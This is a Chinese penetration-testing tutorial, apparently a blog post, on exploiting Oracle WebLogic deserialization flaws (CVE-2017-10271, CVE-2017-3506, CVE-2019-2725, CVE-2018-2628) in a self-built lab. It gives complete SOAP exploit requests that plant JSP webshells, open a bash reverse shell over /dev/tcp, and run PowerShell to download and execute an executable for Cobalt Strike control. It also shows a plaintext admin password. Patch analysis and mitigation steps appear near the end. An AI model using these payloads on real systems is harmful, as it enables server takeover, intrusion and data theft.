服务攻防之中间件Weblogic(上)

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。

可想而知中间件连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,中间件的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的中间件中往往连接数据库,而数据库储存着等极其重要和敏感的信息。如果中间件被攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。

通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!

今天会讲解到学习Weblogic简介、Weblogic详细安装、XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)、wls-wsat反序列化远程代码执行漏洞(CVE-2019-2725)、WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)漏洞等渗透操作等,最后远程代码执行控制服务器等操作,如果连Weblogic都不会安装操作提权等,怎么进行下一步的研究Weblogic安全!怎么拿下对方服务器?

二、Weblogic简介

Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。

Weblogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中,是商业市场上主要的Java(Java EE)应用服务器软件之一,也是世界上第一个成功商业化的Java EE应用服务器,具有可扩展性、快速开发、灵活、可靠等优势。

在功能性上,Weblogic是Java EE的全能应用服务器,包括EJB 、JSP、servlet、JMS等,是商业软件里排名第一的容器(JSP、servlet、EJB等),并提供其他工具(例如Java编辑器),因此也是一个综合的开发及运行环境。

在扩展性上,Weblogic Server凭借其出色的群集技术,拥有处理关键Web应用系统问题所需的性能、可扩展性和高可用性。Weblogic Server既实现了网页群集,也实现了EJB组件群集,而且不需要任何专门的硬件或操作系统支持。网页群集可以实现透明的复制、负载平衡以及表示内容容错。无论是网页群集,还是组件群集,对于电子商务解决方案所要求的可扩展性和可用性都是至关重要的。

默认端口:7001

目前全球较为活跃的版本:

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.1
Weblogic 12.2.1.2
Weblogic 12.2.1.3

三、Weblogic安装

下载地址:

https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

**注意:**weblogic最新的版本需要jdk1.8以上,如果jdk1.7或者以下,可能会出现安装不了的情况,亲测12.1.3,在jdk为1.7的版本可以安装,jdk1.6的话应该只能用10.3.6及以下!

1、WebLogic Server 10.3.6详细安装

1)去Oracle官网下载Weblogic 10.3.6,选择Generic版本,各版本选择下载地址上面已经提供过!

1630907209_6135ab493ea398916f127.png!small?1630907211117

2)双击启动安装
1630907223_6135ab5772f55c23b7d77.png!small?1630907223700

3)直接点击下一步!
1630907227_6135ab5bc689953b67d7b.png!small?1630907228384

4)选择“创建新的中间件主目录”,选择中间件主目录,建议除C盘外的盘符,避免占用系统盘空间,点击“下一步”,(这里是虚拟机,只有一个C盘)
1630907231_6135ab5f4e4fadb88aed6.png!small?1630907231540

C:\Oracle\Middleware

5)默认下一步
1630907234_6135ab62e24b534bff8ca.png!small?1630907235639

6)如果弹出连接失败,选择我希望不接收。。。。点击继续
1630907238_6135ab665da50c4e0a3b1.png!small?1630907238609

7)默认选择“典型”安装,点击下一步
1630907241_6135ab698d7f186f89778.png!small?1630907242057

8)选择jdk目录,默认产品安装目录,点击“下一步”
一般默认!
1630907245_6135ab6d00b1ca175b81a.png!small?1630907245403

9)默认选择所有用户,下一步

1630907249_6135ab717afb4f5c19181.png!small?1630907250007

10)安装概要,下一步
1630907253_6135ab7549f735f39b10d.png!small?1630907253903

11)开始安装,等待即可
1630907257_6135ab799d78fa327ba34.png!small?1630907258257

12)如果需要直接创建weblogic域,选择“运行Quickstart”,点击“完成”按钮,进入快速启动页面;如果想要稍后再进行创建,取消“运行Quickstart”,点击“完成”按钮,安装完成

1630907261_6135ab7d6358786fa001d.png!small?1630907261654

13)点击“Ggetting started with WebLogic Server”,进入Fusion Middleware配置向导

1630907265_6135ab811024eaf8fea92.png!small?1630907265375

14)选择创建新的weblogic域
1630907268_6135ab84d499b1d9d636b.png!small?1630907269640

15)直接进入下一步

1630907272_6135ab88648c56f3de4b7.png!small?1630907272807

16)输入域的名称和位置,直接默认即可,点击“下一步”

1630907280_6135ab901e6aa2d7836c4.png!small?1630907280397
默认情况:

base_domain
C:\Oracle\Middleware\user_projects\domains

17)配置管理员用户名、密码,之后启动weblogic和登陆控制台需要用到,输入后点击“下一步”

用户名默认:weblogic

1630907285_6135ab9529f218e465eaa.png!small?1630907286164

18)选择“生产模式”、JDK最好选择Weblogic自带jdk,点击“下一步”

1630907288_6135ab98c73b9bb619d83.png!small?1630907289144

19)选择“管理服务器”、“受管服务器、集群和计算机”,点击“下一步”

1630907292_6135ab9c33f22c14a48d8.png!small?1630907292703

20)名称默认即可,选择本地监听地址(本机IP地址)端口号默认7001,点击“下一步”

1630907295_6135ab9fa906a54dfa511.png!small?1630907296258

21)无需配置受管服务器,直接点击“下一步”

1630907299_6135aba35f9d379e2a0fa.png!small?1630907299796

22)无需配置集群,直接点击下一步
1630907302_6135aba6c5ca725a6f92e.png!small?1630907303382

23)无需配置计算机,直接点击下一步
1630907306_6135abaa6f1fd40bc9db1.png!small?1630907306690

24)开始创建
1630907310_6135abae3c4e6855db55a.png!small?1630907310919

25)创建域完成,点击完成

1630907313_6135abb1ecbe693f469b3.png!small?1630907314507

2、weblogic配置

1)进入“C:\Oracle\Middleware\user_projects\domains\base_domain”,双击“startWebLogic.cmd”,启动weblogic

1630907319_6135abb7a1acea2bc8bf5.png!small?1630907321423

2)输入刚才设置weblogic用户名和密码
1630907323_6135abbb53ffce3c903e4.png!small?1630907324322

weblogic
dayu123!

3)打开浏览器输入控制台url,进入控制台进行管理
http://192.168.253.94:7001/console/

1630907327_6135abbfae946e21e8ac3.png!small?1630907331684

四、weblogic渗透总结

1、XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

1)验证漏洞

访问 /wls-wsat/CoordinatorPortType,返回如下页面,则可能存在此漏洞:
1630907332_6135abc4d81266dbc5f47.png!small?1630907334309

漏洞不仅存在于 /wls-wsat/CoordinatorPortType,只要是在wls-wsat包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri,路径为:

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml

1630907338_6135abca725ea43d757f9.png!small?1630907340554
默认受到影响的Uri如下:

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
2)构造数据包

构造写入文件数据包发送,其中Content-Type需要等于text/xml,否则可能导致XMLDecoder不解析。

poc:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.253.94:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 642

<soapenv:Envelope xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/”>
<soapenv:Header>
<work:WorkContext xmlns:work=“http://bea.com/2004/06/soap/workarea/”>
<java><java version=“1.4.0” class=“java.beans.XMLDecoder”>
<object class=“java.io.PrintWriter”>
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/dayu.jsp</string>
<void method=“println”>
<string>
<![CDATA[
<% out.print(“dayu hello”); %>
]]>
</string>
</void>
<void method=“close”/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

1630907350_6135abd66469df3eeb04e.png!small?1630907354077

3)验证webshell

1630907353_6135abd9b21531164ca3f.png!small?1630907354078

http://192.168.253.94:7001/bea_wls_internal/dayu.jsp

不熟悉JAVA的小伙伴们可能会对这个构造的XML有所疑惑,可参考:

https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.htm
4)实战Linux反弹shell
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/”> <soapenv:Header>
<work:WorkContext xmlns:work=“http://bea.com/2004/06/soap/workarea/”>
<java version=“1.4.0” class=“java.beans.XMLDecoder”>
<void class=“java.lang.ProcessBuilder”>
<array class=“java.lang.String” length=“3”>
<void index=“0”>
<string>/bin/bash</string>
</void>
<void index=“1”>
<string>-c</string>
</void>
<void index=“2”>
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method=“start”/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

成功获取shell:
1630907382_6135abf69908e2c70b5fc.png!small?1630907392202

5)实战windows上线CS
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.253.7:7001
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 897

<soapenv:Envelope xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/”> <soapenv:Header>
<work:WorkContext xmlns:work=“http://bea.com/2004/06/soap/workarea/”>
<java version=“1.4.0” class=“java.beans.XMLDecoder”>
<void class=“java.lang.ProcessBuilder”>
<array class=“java.lang.String” length=“3”>
<void index=“0”>
<string>powershell</string>
</void>
<void index=“1”>
<string>-Command</string>
</void>
<void index=“2”>
<string>(new-object System.Net.WebClient).DownloadFile(‘http://192.168.253.38/dayu.exe’,‘dayu.exe’);start-process dayu.exe</string>
</void>
</array>
<void method=“start”/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

单独上线powershell-windows:

powershell (new-object System.Net.WebClient).DownloadFile(‘http://192.168.253.38/dayu.exe’,‘dayu.exe’);start-process dayu.exe

1630907433_6135ac29de831cf0242f7.png!small?1630907444625
成功上线CS!

6)CVE-2017-3506分析利用

CVE-2017-3506的补丁加了验证函数,补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法, 验证Payload中的节点是否存在object Tag。

(1)底层源码

CVE-2017-3506的补丁加了验证函数,补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法, 验证Payload中的节点是否存在object Tag。

1630907439_6135ac2f81bbb39cb0584.png!small?1630907444624

private void validate(InputStream is){
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser =factory.newSAXParser();
parser.parse(is, newDefaultHandler() {
public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException {
if(qName.equalsIgnoreCase(“object”)) {
throw new IllegalStateException(“Invalid context type: object”);
}
}
});
} catch(ParserConfigurationException var5) {
throw new IllegalStateException(“Parser Exception”, var5);
} catch (SAXExceptionvar6) {
throw new IllegalStateException(“Parser Exception”, var6);
} catch (IOExceptionvar7) {
throw new IllegalStateException(“Parser Exception”, var7);
}
}

对比和利用修改:
1630907446_6135ac36c0c2be1e26daa.png!small?1630907450166

(2)利用修改代码执行:

<soapenv:Envelope xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/”>
<soapenv:Header>
<work:WorkContext xmlns:work=“http://bea.com/2004/06/soap/workarea/”>
<java>
<object class=“java.io.PrintWriter”>
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/dayut.jsp</string>
<void method=“println”>
<string>
<![CDATA[
<% out.print(“dayu hellow”); %>
]]>
</string>
</void>
<void method=“close”/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

1630907453_6135ac3d1b27a28aed157.png!small?1630907453357
正常上传文件!返回继续执行上线shell和反弹shell即可!

7)安全防御

(1)临时解决方案
根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。

根据实际环境路径,删除WebLogic wls-wsat组件:

rm -f   /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
重启Weblogic域控制器服务:
DOMAIN_NAME/bin/stopWeblogic.sh #停止服务
DOMAIN_NAME/bin/startManagedWebLogic.sh #启动服务
删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面

windows或者:
1.删除C:\Oracle\Middleware\wlserver_10.3\server\lib\wls-wsat.war
2.删除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp.internal\wls-wsat.war
3.删除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat
4.重启Weblogic

wls-wsat.war属于一级应用包,对其进行移除或更名操作可能造成未知的后果,Oracle官方不建议对其进行此类操作。

(2)官方补丁修复

前往Oracle官网下载10月份所提供的安全补丁
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

升级过程可参考:
http://blog.csdn.net/qqlifu/article/details/49423839

2、wls-wsat反序列化远程代码执行漏洞(CVE-2019-2725)

Weblogic wls9_async_response,wls-wsat 反序列化远程代码执行漏洞(CVE-2019-2725)!

**影响组件:**bea_wls9_async_response.war,wls-wsat.war

**影响版本:**10.3.6.0,12.1.3.0

CVE编号:CVE-2019-2725,危险级别:高危,CVSS分值:9.8

1)验证漏洞

访问 /_async/AsyncResponseService,返回200则存在,返回404则不存在:

1630907462_6135ac469b73dc6e3a4ef.png!small?1630907463228

漏洞不仅存在于 /_async/AsyncResponseService
只要是在bea_wls9_async_response包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri,路径为:

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml

1630907467_6135ac4b3656bd78ce169.png!small?1630907472195
默认受到影响的Uri如下:

/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
2)底层源码分析CVE-2017-10271 & CVE-2017-3506 & CVE-2019-2725区别

wls-wsat.war受影响的Url可回看XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506),此漏洞实际上是CVE-2017-10271的又一入口,那么它是怎么绕过CVE-2017-10271的补丁,执行REC的呢?

public void startElement(String uri, String localName, String qName, Attributesattributes)throws SAXException {
if(qName.equalsIgnoreCase(“object”)) {
throw new IllegalStateException(“Invalid element qName:object”);
} else if(qName.equalsIgnoreCase(“new”)) {
throw new IllegalStateException(“Invalid element qName:new”);
} else if(qName.equalsIgnoreCase(“method”)) {
throw new IllegalStateException(“Invalid element qName:method”);
} else {
if(qName.equalsIgnoreCase(“void”)) {
for(int attClass = 0; attClass < attributes.getLength();++attClass) {
if(!“index”.equalsIgnoreCase(attributes.getQName(attClass))){
throw new IllegalStateException(“Invalid attribute for elementvoid:” + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase(“array”)) {
String var9 =attributes.getValue(“class”);
if(var9 != null &&!var9.equalsIgnoreCase(“byte”)) {
throw new IllegalStateException(“The value of class attribute is notvalid for array element.”);
}

1630907476_6135ac54b007995727091.png!small?1630907481404

其中CVE-2017-3506的补丁是过滤了object,CVE-2017-10271的补丁是过滤了new,method标签,且void后面只能跟index,array后面可以跟class,但是必须要是byte类型的。

那么绕过CVE-2017-10271补丁是因为class标签未被过滤所导致的,这点我们可以从Oracle发布的CVE-2019-2725补丁看出来!来看看!

CVE-2019-2725补丁新增部分内容,将class加入了黑名单,限制了array标签中的byte长度。源码如下:

else if (qName.equalsIgnoreCase(“class”)) {
throw new IllegalStateException(“Invalid element qName:class”);
}
else {
if (qName.equalsIgnoreCase(“array”)) {
String attClass = attributes.getValue(“class”);
if (attClass != null && !attClass.equalsIgnoreCase(“byte”)) {
throw new IllegalStateException(“The value of class attribute is not valid for array element.”);
}
String lengthString = attributes.getValue(“length”);
if (lengthString != null) {
try {
int length = Integer.valueOf(lengthString);
if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
throw new IllegalStateException(“Exceed array length limitation”);
}
this.overallarraylength += length;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
throw new IllegalStateException(“Exceed over all array limitation.”);
}
} catch (NumberFormatException var8) {

1630907486_6135ac5e0fc13dbebc970.png!small?1630907489334
将class加入了黑名单,限制了array标签中的byte长度!!

3)转换Byte

Weblogic 10.3.6 利用oracle.toplink.internal.sessions.UnitOfWorkChangeSet构造函数执行readObject(),源码如下:

public UnitOfWorkChangeSet(byte[] bytes) throws java.io.IOException, ClassNotFoundException {
java.io.ByteArrayInputStream byteIn = new java.io.ByteArrayInputStream(bytes);
ObjectInputStream objectIn = new ObjectInputStream(byteIn);
//bug 4416412: allChangeSets set directly instead of using setInternalAllChangeSets
allChangeSets = (IdentityHashtable)objectIn.readObject();
deletedObjects = (IdentityHashtable)objectIn.readObject();
}

UnitOfWorkChangeSet的参数是一个Byte数组,因此我们需要将Payload转换为Byte[]

4)漏洞利用复现

1630907500_6135ac6cc70dddace0662.png!small?1630907506043

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.253.7:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 852
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
cmd:whoami

<soapenv:Envelope xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/” xmlns:wsa=“http://www.w3.org/2005/08/addressing”
xmlns:asy=“http://www.bea.com/async/AsyncResponseService”>
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work=“http://bea.com/2004/06/soap/workarea/”>
<void class=“java.lang.ProcessBuilder”>
<array class=“java.lang.String” length=“3”>
<void index=“0”>
<string>/bin/bash</string>
</void>
<void index=“1”>
<string>-c</string>
</void>
<void index=“2”>
<string>wget http://192.168.253.38/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/dayutt.jsp
</string>
</void>
</array>
<void method=“start”/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

成功上传!

5)webshell利用

1630907508_6135ac74cae63d8aca0ee.png!small?1630907509833

http://192.168.253.7:7001/bea_wls_internal/dayutt.jsp
密码:ninty

1630907513_6135ac79a95e51146f8c3.png!small?1630907517870

注意事项:

1. 放置在bea_wls9_async_response/8tpkys/war路径下,若在此路径放置,则使用链接http://x.x.x.x:7001/_async/dayu.jsp访问webshell
  1. 放置在bea_wls_internal/9j4dqk/war路径下,若在此路径放置,则使用链接http://x.x.x.x:7001/bea_wls_internal/dayu.jsp访问webshell
    6)linux反弹shell

    1630907519_6135ac7f03d8f11597ea7.png!small?1630907535488

    bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1

    直接成功反弹shell!

    7)windows上线CS

    源码利用POC:

    <string>powershell</string>
    </void>
    <void index=“1”>
    <string>-Command</string>
    </void>
    <void index=“2”>
    <string>(new-object System.Net.WebClient).DownloadFile(‘http://192.168.253.65/dayu1.exe’,‘dayu1.exe’);start-process dayu1.exe</string>

    1630907524_6135ac84e3fc6e0658106.png!small?1630907535489
    可看到成功上线!

    8)安全防护

    (1)临时解决方法

    说明:因此次漏洞细节未披露,且目前官方没有任何文档说明此漏洞,在不确定真实影响范围的前提下,临时解决方案针对是weblogic 9、11g、12c三个版本。

    1. 删除该war包并重启WebLogic服务,具体文件路径如下:

    Weblogic9版本:

/%WLS_HOME%/weblogic92/server/lib/bea_wls9_async_response.war

Weblogic 10版本:

/%WLS_HOME%/wlserver_10.3/server/lib/bea_wls9_async_response.war

Weblogic12版本:

/%WLS_HOME%/oracle_common/modules/com.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war

注:wls9_async_response.war属于一级应用包,对其进行移除或更名操作可能造成未知的后果,Oracle官方不建议对其进行此类操作。

  1. 禁用bea_wls9_async_response组件:

用户可通过在weblogic启动参数中禁用bea_wls9_async_response的方式,对此漏洞形成临时防护。

在禁用不安全组件前,需请开发人员确认应用系统是否使用了weblogic提供的异步WebService功能,排查方法请附录章节。如果确认没有使用,可以使用如下方式禁用此功能:

a)以windows系统为例,在启动文件(%DOMAIN_HOME%\bin\startWeblogic.cmd)中加如下参数:

set JAVA_OPTIONS=%JAVA_OPTIONS% -Dweblogic.wsee.skip.async.response=true

set JAVA_OPTIONS=%JAVA_OPTIONS% -Dweblogic.wsee.wstx.wsat.deployed=false

b)对应用程序进行严格测试。
c)测试结果没有问题后,重启Weblogic服务,使参数生效。

3、WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

Weblogic Server WLS Core Components反序列化命令执行漏洞(CVE-2018-2628),该漏洞通过T3协议触发,可导致未授权的用户在远程服务器执行任意命令。

Java反序列化漏洞成因

在上述情况中所说的转换过程中,出现了漏洞,加之暴露或间接暴露出可反序列化的API,导致用户可以操作,并传入数据,或精心构造恶意代码。

相关漏洞:

#CVE-2015-4852
Weblogic 直接反序列化
是基于Weblogic t3协议引起远程代码执行的反序列化漏洞
#CVE-2016-0638
Weblogic 直接反序列化
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 漏洞实为CVE-2015-4852绕过 拜Oracle一直以来的黑名单修复方式所赐
#CVE-2016-3510
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
#CVE-2017-3248
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于Weblogic JRMP反序列化
#CVE-2018-2628
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于 Weblogic JRMP反序列化
#CVE-2018-2893
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 实为CVE-2018-2628绕过 同样拜Oracle一直以来的黑名单修复方式所赐 属于Weblogic JRMP反序列化

涉及版本:

10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3
1)验证漏洞

1630907536_6135ac90b4847d3714d69.png!small?1630907542930

需要python2环境进行!192.168.253.94:7001 is vul CVE-2018-2628返回该值存在漏洞!

2)windows-Getshell

(1)上传wlscmd.jsp
1630907540_6135ac94a601fc906b0ab.png!small?16309075429301630907545_6135ac99a4f5d3c33c1c1.png!small?1630907546092
成功上传wlscmd.jsp文件!!

(2)成功交互控制

1630907550_6135ac9eb17538d8dd502.png!small?1630907553884

python cve-2018-2628.py
http://192.168.253.94:7001/bea_wls_internal/wlscmd.jsp

这里可以直接执行命令控制,可以创建新用户!

或者可以执行:
1630907556_6135aca4202dd1e5a365b.png!small?1630907556657

非常多的方法我就不多介绍了!!

3)linux-getshell

1630907560_6135aca82e8a305031661.png!small?1630907561782
linux系统也是一样的!!

4)安全防护

(1)过滤t3协议
在域结构中点击 安全->筛选器
连接筛选器填:

weblogic.security.net.ConnectionFilterImpl

1630907566_6135acae708cbb033677c.png!small?1630907568850

保存后重启Weblogic.

连接筛选器规则可参考官方文档:

https://docs.oracle.com/cd/E12839_01/web.1111/e13711/con_filtr.htm#SCPRG386

(2)安装补丁,但是保不准下一次Weblogic缝缝补补的黑名单又被绕过。

五、总结

今天学到了Weblogic简介、Weblogic详细安装、XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)、wls-wsat反序列化远程代码执行漏洞(CVE-2019-2725)、WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)漏洞等渗透操作,最后远程代码执行控制服务器等操作,以及整改加固建议的方式方法,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!

服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)-> 服务攻防之中间件JBoss(上)-> 服务攻防之中间件JBoss(中)-> 服务攻防之中间件JBoss(下)-> 服务攻防之中间件Weblogic(上)…

接下来在《服务攻防之中间件Weblogic(中)》会接触到如何进行WebLogic Server 12.1.3详细安装、Weblogic 任意文件上传漏洞(CVE-2018-2894)、Weblogic SSRF漏洞(CVE-2014-4210)、Weblogic 弱口令 && 后台getshell等渗透操作,如何提权渗透等方法,请看下篇服务攻防之中间件Weblogicb篇中章!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值